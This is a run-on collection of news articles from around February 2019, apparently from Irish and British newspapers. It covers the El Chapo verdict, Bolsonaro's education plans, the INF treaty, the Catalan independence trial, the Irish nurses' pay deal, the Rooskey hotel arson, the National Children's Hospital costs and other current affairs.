The jury of five men and seven women, who have been under special protection since the trial began in November, deliberated for six days.

During the trial they heard allegations of gruesome murders, guns encrusted with diamonds or plated with gold, cocaine hidden in jalapeno cans, and a naked escape by Guzman with a mistress through a tunnel.

Prosecutors presented what they called an "avalanche" of evidence showing how Guzman, and his murderous Sinaloa cartel, made billions of dollars in profits by smuggling tons of cocaine, heroin, methamphetamine and cannabis into the US.

It was moved through secret border tunnels, flown to hidden airstrips, stashed in trucks, under cars, in train carriages, and even in small submarines.

The court heard an allegation that Enrique Pena Nieto, the former Mexican president, took a $100m bribe from Guzman.

Mr Pena Nieto denied it.

Jurors were also told of Guzman's personal brutality. On one occasion he was alleged to have kidnapped an associate who left his cartel, beating and shooting him, before having the victim buried alive.

A cast of 56 witnesses, many of them Mexican drug traffickers already in US prisons, gave evidence against him. They included a Colombian known as Chupeta, or Lollipop, whose face had been so altered by plastic surgery while on the run that the court collectively gasped at his appearance.

One of Guzman's many mistresses, Lucero Guadalupe Sanchez Lopez, told how she was in bed in a safe house with the drug lord when he was in hiding in 2014. Mexican marines broke down the door but Guzman led her to a trap door beneath a bathtub, which led to an escape tunnel. "He was naked. He took off running," she told the court.

Guzman's nickname translates as "Shorty" and refers to his 5ft 6in height.

He was born Joaquin Guzman Loera and grew up in poverty in rural Mexico before ascending to run the Sinaloa cartel, becoming the world's most notorious drug baron since Pablo Escobar, the Colombian who was shot dead by police in 1993.

Guzman's status in Mexican folklore was cemented by two prison escapes. He was arrested again in 2016 and extradited to the US the following year. He will be held in a maximum security jail in the US to avoid the breakouts that embarrassed the Mexican government.

At his trial he declined to give evidence in his own defence. The jury only heard his voice, which was described as "sing-songy", in recordings of telephone calls he had made. The defence case lasted only 30 minutes as his lawyers claimed he was a scapegoat for another drug lord.

Prosecutors in the US will now try to seize some of the billions of dollars Guzman made.

 Daily Telegraph London

Telegraph Media Group Limited [2021]Brazil's president and his senior officials have vowed to revise school textbooks to remove references to feminism, homosexuality and violence against women.

Jair Bolsonaro has also said he wants the military to take over some public schools, as part of what teachers believe is a "nonsensical" approach to education reform.

"One of the goals to get Brazil out of the worst positions in international education rankings is to combat the Marxist rubbish that has spread in educational institutions," Mr Bolsonaro tweeted on the eve of his inauguration last month.

Mr Bolsonaro, who once said "I'm homophobic, with pride", has further pledged to review the content of the country's national high school exam to remove questions on gender or LGBT movements.

He made the announcement in a YouTube video after seeing a question from last year's exam on a "secret dialect used by gays and transvestites", called Pajuba, which mixes Portuguese and West African languages." After the far-right leader took office on January 1, the education ministry published a new set of guidelines for textbook publishers that eliminated references to topics such as sexism.

Following an outpouring of criticism, officials backtracked on the revised texts. But education minister Ricardo Velez Rodriguez nonetheless vowed in his inaugural speech to end the "aggressive promotion of the gender ideology".Nato's secretary-general has warned that the military alliance will respond to what it insists are Russia's violations of a key Cold War-era treaty - but will not station more nuclear missiles in Europe.

Jens Stoltenberg urged Moscow to return to compliance with the Intermediate-Range Nuclear Forces treaty it agreed bilaterally with the US in 1987.

On February 2, Washington launched the six-month process of leaving the INF, insisting a missile system Russia calls the Novator 9M729 - known at Nato as the SSC-8 - breaks the pact's range requirements.

The INF bans production, testing and deployment of land-based cruise and ballistic missiles with a range of 500-5,500 kilometres.

"Any steps we take will be co-ordinated, measured and defensive, and we do not intend to deploy new ground-based nuclear missiles in Europe," Mr Stoltenberg said in Brussels ahead of a meeting of alliance defence ministers.

He said they will today discuss "what steps Nato should take to adapt to a world with more Russian missiles".

"Moscow continues to develop and deploy several battalions of the SSC-8 missile," Mr Stoltenberg said.

"We all know that a treaty that is only respected by one side cannot keep us safe."

The Pentagon believes Russia's ground-fired cruise missile could give Moscow the ability to launch a nuclear strike in Europe with little or no notice. Russia insists it has a range of less than 500km, and claims US target-practice missiles and drones also break the treaty.

President Vladimir Putin has announced he is pulling Russia out of the INF too.

European Nato members are especially keen to avoid any nuclear build-up and a repeat of the missile crisis in the 1980s.

Nato allies decided to deploy US cruise and Pershing 2 ballistic missiles in Europe in 1983 as negotiations with Moscow faltered over its stationing of SS-20 missiles in eastern Europe.Lawyers for Catalan politicians facing charges of rebellion urged judges to remain impartial, as Spain's politically charged "trial of the century" began yesterday.

"Act as judges, not as saviours of the nation," said Jordi Pina, defence lawyer for three of the 12 accused on the opening day of the trial in which pro-independence politicians face jail sentences of up to 25 years for their roles in the 2017 independence referendum.

Expand Close Carles Puigdemont: Former Catalan leader is in exile. Photo: Getty Images / Facebook

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The nation tuned in to watch the proceedings being televised live as nine are charged with rebellion and three face lesser charges of disobedience and misuse of public funds.

"This case targets political dissidence," said Andreu Van den Eynde, the lawyer for two defendants including Oriol Junqueras, Catalonia's former vice president.

The lawyer accused authorities of violating the defendants' fundamental rights, and argued the accusations of crimes such as rebellion and sedition were completely disproportional.

"No one in Europe understands the severity being applied," he said, adding that the trial is an attack on the freedom of expression, the right to protest, ideological liberty and "political dissidence".

The trial, arguably Spain's most important in four decades of democracy, began as the future of Pedro Sanchez's minority government hinges on last-minute talks with Catalan pro-independence parties to back his 2019 budget.

Today, Catalan members of Spain's parliament are poised to vote down the prime minister's budget bill, which would almost certainly trigger a snap election in a matter of months.

Quim Torra, Catalonia's president, took part in a small protest against the trial outside the building before taking a seat in the courtroom to show support for the accused.

Mr Van den Eynde said the investigation into the accused, most of whom have been held in custody for the past 11 months or even longer, had been conducted like a "witch hunt", in which the facts had been twisted to fit the harshest possible accusations.

The crime of rebellion requires the existence of a "violent public uprising" in an attempt to change the constitutional order. The key events on which the accusations are based are a mass demonstration in the streets of Barcelona in protest at Guardia Civil agents arresting Catalan government officials, and the holding of the referendum on October 1, 2017, despite it having been banned by Spain's constitutional court.

The accused will all argue that there was no violence involved in their bid for independence from Spain, while the prosecution's view is that the politicians took decisions that ensured there would be large numbers of independence supporters in the streets to create a confrontation.The Australian government has said it will reopen a mothballed island detention camp in anticipation of a new wave of asylum seekers arriving by boat.

It comes after the countrys parliament passed legislation that would give sick asylum seekers easier access to mainland hospitals.

The Christmas Island immigration detention camp, south of Jakarta, Indonesia, was a favourite target of people smugglers who brought asylum seekers from Asia, Africa and the Middle East in rickety boats from Indonesian ports before the trade virtually stopped in recent years.

Prime Minister Scott Morrison said a security committee of his cabinet agreed to reopen the camp on the advice of senior security officials.

Today I convened a meeting of the National Security Committee. I have adopted the advice of our security and border protection officials to reopen the Christmas Island detention centre. We're taking this action to clean up the mess Bill Shorten & Labor made yesterday, once again. pic.twitter.com/KhvqrzaTf3  Scott Morrison (@ScottMorrisonMP) February 13, 2019

The decision was made before the Senate passed legislation 36 votes to 34 that would allow doctors instead of bureaucrats to decide which asylum seekers on camps on the Pacific island nations of Papua New Guinea and Nauru can fly to Australia for hospital treatment.

Mr Morrisons conservative government argues that the bill, passed 75 to 74 by the House of Representatives on Tuesday, will undermine Australias tough refugee policy.

The policy banishes asylum seekers who attempt to reach Australia by boat to the Pacific island camps in a bid to deter other asylum seekers from making the perilous voyage.

My job now is to ensure that the boats dont come, Mr Morrison told reporters.

My job now is to do everything in my power and the power of the government to ensure what the parliament has done to weaken our border does not result in boats coming to Australia.

Itas my job now to ensure the boats don't come back. I will to do everything within the Governmentas power to ensure that what the Labor Party has done to weaken our borders does not result in boats coming to Australia.  Scott Morrison (@ScottMorrisonMP) February 13, 2019

Mr Morrison said he would repeal the foolish law if his government was re-elected in an election due in May.

Australian governments rarely lose votes in the House of Representatives, where parties need a majority to form an administration.

Legislation has only been passed in the House against a governments will in recent decades 1929, 1941, 1962 and 2013.

Refugee advocates applaud the law that they regard as a more humanitarian approach toward asylum seekers.

The Senate passed similar amendments on medical evacuations despite ruling party objections on the last day Parliament sat last year.

Australian security agencies warned in December that if those amendments became law, asylum seekers would likely head to Australia again in significant numbers.

My job now is to ensure that the boats don't comeScott Morrison

The people smuggling boat traffic has all but stopped in the past five years with the government promising that any refugees who arrive on Australian shores by boat will never be allowed to settle there.

Opposition leader Bill Shorten on Tuesday re-drafted the amendments passed by the Senate in December in an attempt to make the law less likely to attract a new wave of asylum seekers, who used to arrive in Australia at a rate of more than a boat a day.

The changes included a provision that only the 1,000 asylum seekers currently held on Nauru and Papua New Guinea and not any future arrivals would be considered for medical evacuation under the new regime.

The government had struck a deal in 2016 for the United States to accept up to 1,250 refugees languishing on Nauru and Papua New Guinea. The government had similarly made the offer only available to refugees on the islands at the time to avoid attracting new asylum seekers, Mr Shorten said.

I believe that we can keep our borders secure, we can uphold national security but still treat people humanely, Mr Shorten told Parliament.'Expend your energies on sorting out the childrens hospital debacle and let the nurses/midwives get on with their jobs' (stock photo)

As someone who was a union official for 30 years, I would like to offer my best wishes and support to the nurses/midwives presently on strike.

We in the Prison Service walked the Dublin Road for four weeks in 1988. We won our strike for a number of reasons but there were two main reasons: 1) We had right on our side and 2) We hung together, because we knew if we didnt we would hang separately.

I get the same sense of purpose with the nurses/midwives. There is a steely determination on their side. I hope they stay focused, determined and unified.

The guilt complex will be the next thing we hear as certain politicians and faceless bureaucrats tell the workers how lucky they are to have a job.

Maybe if they exchanged a day in their ivory towers for a day in A&E, trying to maintain a shred of dignity for hard-pressed patients and staff, they might have a different view.

When we consider the handling of the new childrens hospital, it recalls the phrase from the Haughey era: grotesque, unbelievable, bizarre and unprecedented. It beggars belief this could happen in Ireland in 2019.

Expend your energies on sorting out the childrens hospital debacle and let the nurses/midwives get on with their jobs.

To the minister I say: Do the right thing. On this as on many other issues the people are leading our so-called leaders.

Noel Tuohy,

Portlaoise, Co Laois

No more hidden perks for those employed by the State

With regard to the settling of the nurses strike, I am glad for those who are ill, but sad for the nurses and others whose vocational nature is taken advantage of.

However, isnt it time to level the playing field? Once upon a time we were glad to have a job, a good secure State job we would never be fired from. This is a different era and its time to rid the system of all those perks that go with being a public or semi-public servant.

Its time to be able to compare job with job, skill with skill, hours worked with hours worked, etc, etc. We are a mature economy now, we have a global labour market and its time to rid all our systems of all fudges.

Pay everybody properly for the job they do but no hidden background perks in an attempt to fool the public or mask true reality. A job should be a job, wherever it is carried out, and those carrying out the work should be paid a market rate.

Time to say goodbye to smoke and mirrors! And that in particular applies to our public representatives at all levels. Honest, open remuneration for whatever job but stop trying to pull the wool over the eyes of those who employ you.

Its well-worn transparency please and pay everybody in our society a just wage.

Frank Haughton,

Prague 2, Czech Republic

Religion can bring happiness  if it is practised voluntarily

Patricia Casey reports (Religious practice offers a happy alternative to young, Irish Independent, January 9) on worldwide studies which indicate higher levels of happiness in those who practise religion compared with those who do not.

But she omits one key factor  to achieve this outcome the practise of religion must be a voluntary activity. For instance, the recent riots in theocratic Pakistan over the acquittal of a young Christian woman for blasphemy would not indicate significant levels of happiness among the rioters.

Similarly in Ireland, it is not so long ago that Ireland was effectively a Catholic theocracy  in 1991 there was no freely available contraception, Magdalene Laundries were still open and there was no divorce. Eighty per cent of Catholics attended weekly Mass but there was no indication Irish people were significantly happier than, say, UK people in general, where a only small minority of people practised religion  but on a voluntary basis.

Unfortunately, we have not reached the stage where the practise of religion in Ireland is entirely voluntary.

Patients of reproductive age must accept Catholic medical ethics in their treatment  whether they agree with those ethics or not  if they are admitted to publicly funded Catholic hospitals, as must the doctors and nurses who work there.

Children whose parents do not want them to be exposed to Catholic dogma are obliged to sit at the back of the classroom when Catholic dogma is being taught.

Anthony OLeary,

Portmarnock, Co Dublin

Who can tell if a bee is being as busy as a bee can be?

There's a panic on due to a claim that Ireland is heading for big trouble because theres a falling off in the insect population. Whos doing the counting? A permanent job, no doubt, but do the insects know theyre not pulling their weight?

Robert Sullivan,

Bantry, Co Cork'Sorry to burst your heart-shaped helium bubble, there were, in fact, at least three St Valentines, according to Church records' (stock photo)

Today is my birthday. Yes, thank you, you're very kind, but as it's not a big roundy one, my inclination is to ignore it.

But for most of you, this week, inexplicably, won't be about me, but Valentine's Day. Because of the association, I've always been a bit short-changed on the gifts front and, to be honest, I really dislike the pressure of a day that forces everyone to spend a fortune to say something they should be able to say without spending a fortune. So who's to blame for the Hallmark holiday and extortionate flower prices? Well, probably not the man himself. Or indeed the men.

Yes, sorry to burst your heart-shaped helium bubble, there were, in fact, at least three St Valentines, according to Church records. Confusingly, all lived in the third century, and two in Italy, although it is most commonly St Valentine of Rome that is reckoned to be the perpetrator of early bird menus and cheap Prosecco dates.The Irish Cosmetic, Detergent and Allied Products Association (ICDA) also said that the cosmetics industry in Europe had already phased out more than 97pc of plastic microbeads used in exfoliating and cleansing products and was on target to achieve 100pc by 2020. Stock Image: Getty

Representatives of the cosmetics and detergent industries have claimed that proposals to ban plastic microbeads are too broad and would prevent them making products allowed in other EU countries.

The Irish Cosmetic, Detergent and Allied Products Association (ICDA) also said that the cosmetics industry in Europe had already phased out more than 97pc of plastic microbeads used in exfoliating and cleansing products and was on target to achieve 100pc by 2020.

The remarks came as an Oireachtas committee examined a proposed law prohibiting certain products containing the microbeads, which are not biodegradable and can end up in the food chain when eaten by fish.

Dr Kevin Lynch, head of geography at NUI Galway, told TDs and senators that evidence of microplastics was being found in Ireland's coastal and marine environments. He said the bill looked like it would be a good addition to attempts to reduce the proliferation of plastics in the environment.

Galway Mayo Institute of Technology academic Dr Roisin Nash told the committee that low levels of microplastics had been found in the intestinal tracts of fish from Irish coastlines.

ICDA director Siobhan Dean said the cosmetics and detergent sector took the issue of plastic aquatic litter seriously and shared the goals of the Irish Government and the EU to address this challenge.

She said that Cosmetics Europe recommended to its members in 2015 that they discontinue the use of plastic microbeads in cleansing products by 2020.

Ms Dean said any proposed ban on microbeads must be supported by clear definitions to operate effectively. She argued that the definition in the proposed law was "too broad" and "as a result would prevent Irish manufacturers manufacturing rinse-off cosmetics and detergents products that otherwise would be permitted in other EU countries".

She said: "It would also remove many products on the Irish market until the products are reformulated."It's not every day a new car comes on the market that is less expensive than the dated predecessor it follows.

That seems to be the case with the new Mercedes B-Class.

It has just arrived and we're told several models are priced lower than their predecessors.

Prices starts from 32,745 ex-works - well down on the previous, they claim.

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There are two petrol and three diesels.

The new arrival is one of 15 new or face-lifted models the brand will bring to the Irish market this year. Busy times in a tough market.

Among a spread of techno stuff on the new B-Class is the voice-activated driver assistance MBUX and 'Mercedes me' systems.

* Skoda have donated the Rapid model used by Pope Francis during his time in Knock last August to the Foyle Search and Rescue charity based in Derry.

The car will be used as a patrol vehicle along the banks of the Foyle to assist in suicide prevention in the city

* Audi's large electric SUV - the e-tron - has arrived here and is available for test drive, the brand says.

Pre-registered customers will be the first to get the chance to sample the car which has caused something of a stir. Prices for it start from 101,750 on-the-road.

* Toyota's revised Prius gets here in March with an array of design touches and some spec enhancement.

There is, for example, a larger wireless phone-charging tray, better head-up display and a faster Toyota Touch 2 multimedia system.

Prices will start from 32,250.

* Mazda has revealed the 30th Anniversary Edition of its evergreen MX-5 roadster.

With more than a million bought since it was first introduced 30 years ago, the company decided to develop Racing Orange for this special occasion.

Also on the celebratory models are forged aluminium wheels developed specially for the Edition.

Sales are being limited to a total of 3,000 worldwide.

And we in Ireland can expect to see a few of the special soft tops here by early summer.

* Subaru will show two electrified cars at the Geneva Motor Show.

It will unveil two e-BOXER powered models during a press conference scheduled for March 5 .Detectives seized imitation firearms and up to 100 swords and knives in a raid on a Dublin biker gang whose members led the procession at a Kinahan gang funeral.

Yesterday morning, heavily armed gardai attached to the Emergency Response Unit (ERU) stormed the Crumlin base of the Chosen Few motorcycle club as part of an ongoing probe into the crew.

More than 30 gardai were involved in the dawn raid and ERU officers had to cut down a large metal gate at the front of the property using specialist equipment to gain access.

Members of the Chosen Few biker gang led the cortege at the funeral of David Byrne after he was shot dead in the Regency Hotel three years ago.

The ERU was backed up by local gardai from Sundrive Road and Crumlin, including members of the drugs and district detective units.

During a search of the headquarters, around 100 swords and knives as well as three replica weapons were seized by gardai.

The property is the headquarters of the motorcycle gang and has been described as a "compound" with a number of small buildings inside.

"The raid has been planned for several months as part of an investigation into this biker gang," a source said. No arrests were made as part of the searches but investigations are ongoing, with the operation described as "exploratory".

A small amount of cash and drugs were also recovered by gardai.

Gardai believe that the biker gang is headed by a father and son, with six people at the core of the motorbike crew. Four members were present when the raid took place.Pay agreement: The deal is worth an average of 875 per year per nurse. Photo: Damien Eagers

Teachers may be next in line to strike over pay after a deal for nurses that will cost 35m a year.

The Government is under pressure to come up with an early agreement with teacher unions after offering nurses a better package for recent recruits.

And other public sector unions are now dissecting the deal and consulting with their members about the potential for knock-on claims.

But the teacher unions are already primed for ballots on industrial action to end a two-tier pay system introduced eight years ago, if they do not get an improved deal.

More than 7,000 Siptu support staff including healthcare assistants and laboratory aides working in major hospitals are also considering industrial action.

Sources said they will be expecting the Government to "progress" their pay claim in the wake of the nurses' deal.

They have accused the Government of refusing to award them a pay rise under a job evaluation process that was agreed within the parameters of the public service pay deal.

It has also been revealed the nurses will not face financial sanctions for taking strike action, which were previously imposed on teachers.

Expand Close Counting the cost: Finance Minister Paschal Donohoe says productivity makes a big difference to how the pay rise is funded. Photo: Kyran O'Brien / Facebook

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Whatsapp Counting the cost: Finance Minister Paschal Donohoe says productivity makes a big difference to how the pay rise is funded. Photo: Kyran O'Brien

A spokesperson at the Department of Public Expenditure and Reform said they are not set to suffer penalties, including a pay freeze and delay in wage hikes that are due under the public wage deal.

It is unclear what the full cost of the nurses' package is - or where the funding will come from. It is also unclear whether it could be viewed as a cost increasing claim - which is ruled out under the public sector pay deal.

A department spokesperson said the pay deal will cost up to 35m next year - but this figure does not include savings that will be generated to fund it. The cost this year is up to 15m.

Based on this figure, the deal would be worth an average increase in the region of 875 a year per nurse - without including the savings.

This would compare with a 50m deal offered to gardai to halt strikes two years ago, valued at 3,500 each.

But the department would not specify how much will be raised through savings that were put forward in a Labour Court recommendation to resolve the nurses' dispute.

The savings include reducing the cost of an existing deal for nurses to tackle two-tier pay that involves leapfrogging over pay increments. It also said there would be a cut in spending on agency staff, while productivity measures would yield "quantifiable benefits". It said these would be finalised during talks over the next three weeks.

Government sources see the deal with the nurses' unions as a minor victory for their strategy. Sources say they never wanted a single day of strike but had to wait it out until the INMO's demands came dramatically down.

They said the cost of around 35m a year is viewed as "expensive but manageable compared to what was being sought".

In particular, they said the level of productivity tied into the deal is significant.

"This deal is very different to what happened with An Garda Siochana. The Government is in a position to welcome what the Labour Court has recommended," one source said.

However, they will be closely watching the reaction of other public sector unions in the weeks ahead.

The public sector pay bill is already on course to rise from 17.8bn to 18.7bn this year - its highest level ever.

When asked if he is confident he has a bullet-proof assurance there will be no knock-on claims, Minister for Public Expenditure and Reform, Paschal Donohoe, said that was a matter for them to decide.

"It wouldn't be appropriate for me to comment on how they will evaluate it," he said.

He said "productivity and the reallocation of funding for the new entrant agreement is making a very big difference to how we will fund this".

It was business as usual at Dublin's Mater Hospital yesterday as nurses got back to work following the suspension of this week's three-day strike.

Several nurses said they saw the Labour Court's recommendations as a "stepping stone" towards attaining their demands.

Another nurse said she is unhappy with a lack of clarity from the INMO.

"They told us the deal is very complex, but we deal with complex issues every day as nurses and are highly educated," she said. "The INMO are telling us not to believe anything besides what they say, but from the moment the strikes were suspended, important details were leaked to the media. I was surprised that the strike was pulled.

"I don't know the reasoning behind the decision."Light of love: Emer Duffy and Killian Casey at the shrine of St Valentine in the Whitefriar Street Church in Dublin yesterday. Photo: John McElroy

A senior Catholic bishop says priests will be always be more in demand for weddings than solemnisers.

Bishop Denis Nulty, who is president of Catholic marriage agency Accord, pointed to CSO statistics citing some 52pc of couples in Ireland opting to get married in the Catholic Church.

"The fact that 52pc are choosing to marry in the Catholic Church in 2019, saying we believe in this and this is important to us, is a superbly positive fact. I think people want the priest and the church," he said.

When quizzed about Bishop of Clogher Larry Duffy's recent comments about lay people performing funeral duties, and whether they might preside at Catholic wedings, Dr Nulty said roles that could be played by lay people needed to be explored.

Different

"I think we have to see where the other possibilities of lay involvement are. Some people are registered solemnisers of civil marriage but that is a slightly different thing," he said.

Yesterday, Dr Nulty blessed engaged couple Emer Duffy and Killian Casey from Rathfarnham at the Shrine of St Valentine in Whitefriar Street Church in Dublin's city centre. The couple are set to marry in 2020.

In front of the ancient relics of St Valentine, Dr Nulty highlighted that this year marks the 1,750th anniversary of the death of the Roman saint, and said many couples visit the Dublin shrine.

Speaking to the Irish Independent about Accord's figures for 2018, the bishop said 16,048 individuals attended marriage preparation courses with the organisation last year.

New research by Maynooth University was also unveiled yesterday. The study was carried out on 3,000 men and women by the university for Accord on the issues and outcomes from counselling by the agency.

Among the issues identified as contributing to relationship problems were mobile technology and social media.

Issues of culture, religion and values were also identified as contributing to relationship difficulties.

"For some couples, their belief systems, the value they place on education, their cultures may be very different. We are going to become much more diverse in Ireland in the future and Accord's marriage preparation will have to take this issue into greater consideration in the years ahead," Dr Nulty acknowledged.

The study also showed that women are more likely to rate childcare and home duties as a problem.

Last week, Bishop Larry Duffy explained that due to the lack of priests and the ageing profile of those in ministry, it was becoming increasingly difficult for priests to even find the time to attend the wedding receptions of couples they marry.A YOUNG Irish woman is lucky to be alive after falling 30 foot from a cliff in New Zealand, friends have said.

Orlagh Hanratty (25) from Bray, Co Wicklow, remains in intensive care after the rock climbing accident in Dunedin, last Thursday, February 7.

Keith Murray, who is a close friend of the Hanratty family, said that Orlagh had moved to New Zealand just a few months ago.

He said that she is a sporty person who has done rock climbing before and enjoys outdoor activities.

He said that he is shocked by the extent of her horrific injuries but says they could have been a lot worse.

Keith told Independent.ie: "She's so lucky to be alive - when her parents Tommy and Jenny were contacted they were told to prepare for the worst but she is an amazing fighter.

"She's still in intensive care but she has opened her eyes briefly and squeezed their hands, she is in and out of sleep.

"Orlagh has a small bleed on the brain, she has a broken cheek bone, broken jaw, broken thigh, it was very lucky that she had no spinal damage.

"She's out of danger, nobody knows her long-term prognosis but she is making progress every day, slowly she is improving."

Keith has set up a GoFundMe account to raise money for Orlagh's extensive rehabilitation costs, as well as to help support her parents while they are in New Zealand with her as she recovers.

He said they are blown away that they have received more than 15,500 in donations in just three days.

"Her family are very grateful for all of the good wishes, they're overwhelmed.

"They just want to be with their daughter and help her through this, they're staying positive," he said.

"I'm very surprised by how well the fundraiser is doing, it's humbling and just goes to show how popular Orlagh is.

"She is such a lovely person, she is funny and the life and soul of everyone that's around her.

"She is a genuine, bubbly and adventurous person, Orlagh has a heart of gold and would do anything for anyone who is around her.

"She is so full of life that Orlagh is the last person who you would expect anything like this to happen to."

Meanwhile, another young Irish person is recovering in a New Zealand hospital after a separate cliff fall.

Cormac OBrennan (20) from Mullingar, Co Westmeath, fell more than 20 metres from rocks at Christchurch beach in New Zealand on January 3.

Expand Close Cormac OBrennan (20) from Mullingar, Co Westmeath, was recovering in hospital after he fell more than 20 metres from rocks at Christchurch beach in New Zealand on January 3, 2019. / Facebook

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Whatsapp Cormac OBrennan (20) from Mullingar, Co Westmeath, was recovering in hospital after he fell more than 20 metres from rocks at Christchurch beach in New Zealand on January 3, 2019.

His older sister Aisling told Independent.ie: "The hospital have said Cormacs a miracle, theyve never seen someone survive this type of fall and make such progress.

"Rehabilitation will be slow but were hoping for the best.

"The hospital scheduled an operation on his skull in a couple of weeks, so hopefully thatll be the last difficult hurdle.

"The hospital called us after the accident and told us Cormac wasnt going to make it. On the cliff they (rescuers) lost him three times - he stopped breathing.

"But luckily the first responder was an ex paramedic and an off-duty paramedic on the beach happened to have his equipment in his jeep, so they were able to resuscitate him three times.

"But the hospital said they didnt think he was going to make it while mum and dad where trying to get their flights sorted.

"They then said he may survive but wont have any quality of life, so hes defied all the odds so far."Dublin has re-entered the list for top liveable conditions after dropping off in 2017, but is one of the slowest city centre's in Europe. (stock image)

DUBLIN has re-entered the top ten most liveable cities in Europe - but it has also some of the worst traffic in Europe, new research has shown.

The Irish capital is now on par with northern European cities like Luxembourg for liveability conditions, according to ECA Internationals annual Location Ratings Report.

Cities around the world are evaluated annually and merited on their performance for a variety of factors, including availability of health services, housing and political tensions.

Ireland dropped off the list in 2017 due to a shortage of suitable housing for expats, but an improvement in 'personal safety' boosted its rankings this year.

According to Neil Ashman, Senior Location Ratings Analyst at ECA International, a general opinion from the expat community is that they feel safer in Dublin after dark.

Dublin is also the 23rd most liveable location for Asian expats, beating out Hong Kong.

"Dublin has a strong international expat community, which is why it also scores well for Asian expats versus cities such as Hong Kong that suffered disruption and considerable damage caused by Typhoon Mangkhut in September," Mr Ashman said.

However, a separate report by global company Inrix, who specialise in transportation analytics, found that drivers in the capital spent around 246 hours in traffic last year.

"Dublin has the distinction of having the slowest city center in all of Europe, where speeds dip as low as 6 MPH," the report said.

The city ranked in 24th place on the list of the most congested cities in Europe.

Meanwhile, if you're looking for a top spot in Europe to live, Copenhagen, Denmark and Bern, Switzerland offer the best liveability standards for European expats, scoring at the top of ECAs ranking for over seven years.

"Cities in Scandinavia, Switzerland and the Netherlands have offered good liveability across the board for many years now; with factors such as excellent infrastructure, reliable transport systems, and a high level of healthcare all contributing to their consistently excellent liveability score," Mr Ashman said.

Outside of Europe, Canada has proven to be the most attractive country for Europeans to migrate to.

Australia and New Zealand also scored highly for European expats, with Singapore the top city in Asia.

Check out the 20 most liveable locations for European expats below;Ministers have been assured that garda patrols near their family homes will be increased in the wake of a weekend demonstration targeting Simon Harris.

The event, which Mr Harris said was "very frightening" for his family, prompted a discussion at Cabinet about security concerns other ministers have, the Irish Independent understands.

Taoiseach Leo Varadkar and Justice Minister Charlie Flanagan sought to reassure colleagues that actions are being taken to protect their safety.

They were informed Deputy Garda Commissioner John Twomey is carrying out a review of security on foot of a growing trend of threats.

"People spoke at Cabinet about how they are genuinely worried for their family. It would only take one person to take things too far," a source said.

One minister questioned the wisdom of removing the entitlement to a Garda driver from ministers in 2011.

The move was one of the first cutbacks announced by Fine Gael after entering government. It has saved the Exchequer around 4m a year.

Sources said there was no question that ministers were seeking a return to the previous regime.

Gardai have been monitoring an increasing amount of online "chatter" relating to potential threats against politicians.

Officers are understood to have concerns around specific ministers and have upped monitoring of their homes.

"It's unsettling, especially because we're away from home a lot," one minister said.Security: A garda outside the Shannon Key West Hotel in Rooskey.

Justice Minister Charlie Flanagan has expressed "deep concern" about a second fire in just five weeks at a hotel in the midlands earmarked for asylum seekers.

Mr Flanagan spoke as gardai confirmed they are now investigating the suspicious incident at the Shannon Key West Hotel in Rooskey, Co Leitrim.

There were two security guards and a foreman at the hotel when the attack took place at the building on the banks of the River Shannon.

At around 9.45pm on Monday, gardai based at Carrick-on-Shannon were alerted to reports of a blaze at the hotel.

It was previously targeted in a suspected arson attack just over four weeks ago.

The hotel is due to be sold but at the moment is leased out with plans to use it as a direct provision centre for asylum seekers until December.

"I am deeply concerned and disappointed at the reports of the fire," Mr Flanagan said.

"This behaviour represents an unacceptable and worrying development and should be condemned by all."

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Speaking at the scene yesterday, Superintendent Kevin English said the attacks "were not spontaneous".

"Shortly after 9.45pm, gardai in Carrick-on-Shannon received a call of a fire at the Shannon Key hotel," the senior garda said.

"When we arrived at the scene a number of fire tenders were already in attendance from Mohil and Strokestown.

"I am satisfied at this stage that two on-site security personally quickly detected the fire inside and managed to extinguish the fire and minimise it to one bedroom and to an adjoining reception area that only suffered smoke damage."

Speaking about the two suspicious incidents at the hotel, Supt Kevin English said: "I'm keeping the investigations into both fires independent beyond obviously the intent to burn on both occasions.

"The suspects had to be operating in this area for a number of days. These were not spontaneous attacks."

Members of the Leitrim and Roscommon United Against Racism group condemned the fire last night, describing the incident as "horrifying".

The owner of the hotel, James Kiernan, was not available for comment.

After the previous incident he told of his upset at the damage caused.

Local residents and their representatives all condemned the attack on the hotel, saying it was giving the village a bad name.

"It is a disgrace what happened here in our village, it is an awful shame," said local resident Eileen Heavin.

"Rooskey was always a lovely respectable village. We need the hotel and any business it brings, and if that means asylum seekers then I have no problem with that.

"We are not racists here."More than 1,000 guests gather for a community lunch in the middle of Fayetteville Street in downtown Raleigh in November to benefit the Come Together for the Coast Fund. Restaurant owners and other small business leaders involved in the hospitality industry can apply for grants through The Sunday Supper, which hosted the event, for relief funds for Hurricane Florence recovery. (The Sunday Supper photo)Under fire: Sinn Fein wants Simon Harris to go despite his Dail apology. Photo: Steve Humphreys

There are contractors who "quite frankly" should never be hired for another major project, Taoiseach Leo Varadkar has said.

Amid a series of apologies for the rising cost of the National Children's Hospital, the Taoiseach has alleged that some companies are "low-balling" when they bid for State work.

"We will also examine the issue of low-price tenders and whether we should look at median price instead," he said while promising an overhaul of how tenders are awarded.

The practice of committing to major projects before there is clarity on the final costs is to be ended.

Budgets for further projects like the Children's Hospital will also include "a significant premium for risks", such as building changes.

Health Minister Simon Harris will face a motion of no confidence next week despite offering a "sincere apology" for not being more upfront about the cost issues in a reply to a Dail question last September.

Expand Close Micheal Martin: Fianna Fails leader says his party is leading the charge. Photo: Damien Eagers / Facebook

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He said: "I should have added further detail to inform that a process was ongoing to finalise costs and that updated costs would be known when that process concluded. I apologise for not doing this."

A new round of documents released yesterday shed further light on how the costs escalation came to light.

However Mr Harris, who also faces a cross-party grilling on the controversy today, will survive the vote after Fianna Fail agreed to honour its Confidence and Supply arrangement with Fine Gael.

However, the insistence from Micheal Martin that it cannot risk causing an election is sparking serious tensions within his party.

Carlow-Kilkenny TD John McGuinness had a heated clash with public expenditure spokesman Barry Cowen at a private meeting last night.

It is understood Mr Cowen raised the issue of Mr McGuinness and other TDs publicly expressing unhappiness with the party position.

But Mr McGuinness said he would not be "bullied" into toeing the line when party members are telling him they are not happy with the arrangement.

"I said I wasn't going to be bullied, intimidated or embarrassed," Mr McGuinness told the Irish Independent.

Mr Martin insisted at the meeting that the party is leading the charge in holding the Government to account over the hospital, which is now estimated to cost 450m more than originally projected.

One source said the party leader delivered a "rallying call" in relation to the NCH and Fianna Fail's response to the controversy.

The Government is desperately trying to draw a line under the controversy by identifying 100m to keep the hospital on target.

Mr Varadkar also signalled major changes to the way tenders are issued for future projects, such as the planned metro in Dublin.

